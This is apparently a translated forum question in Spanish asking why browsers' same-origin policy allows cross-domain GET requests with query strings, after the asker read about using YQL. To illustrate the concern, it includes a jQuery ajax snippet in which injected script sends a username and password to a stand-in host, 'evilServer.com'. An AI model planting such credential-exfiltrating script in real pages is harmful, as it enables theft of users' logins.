Por lo que entiendo, la misma política de origen evita que los scripts en una página web hablen con servidores fuera del dominio actual (usando post, xmlhttprequest, etc.). Supuse que las solicitudes de obtención (con argumentos) entre dominios también estarían prohibidas. Eso fue hasta que comencé a leer sobre el uso de YQL para evitar algunas restricciones de la misma política de origen. Todos los ejemplos de código utilizan una solicitud de obtención de ajax con parámetros.
$.ajax({
type: "GET",
url: 'http://query.yahooapis.com/v1/public/yql?q=' + encodeURIComponent(webServiceQuery),
Así que digamos que un atacante logra inyectar un javascript malvado en una página web que cosecha inicios de sesión. Algo como:
$.ajax({
type: "GET",
url: 'http://evilServer.com?username=PresidentSkroob&password=12345
El servidor receptor podría registrar cada solicitud que se presente. ¿Por qué se permite esto? Entiendo por qué querría permitir solicitudes de obtención sin datos (por ejemplo, importar jQuery), pero no veo una razón para permitir que las cadenas de consulta se pasen de dominio cruzado. ¿Hay alguna razón legítima por la que la mayoría de los navegadores lo permiten?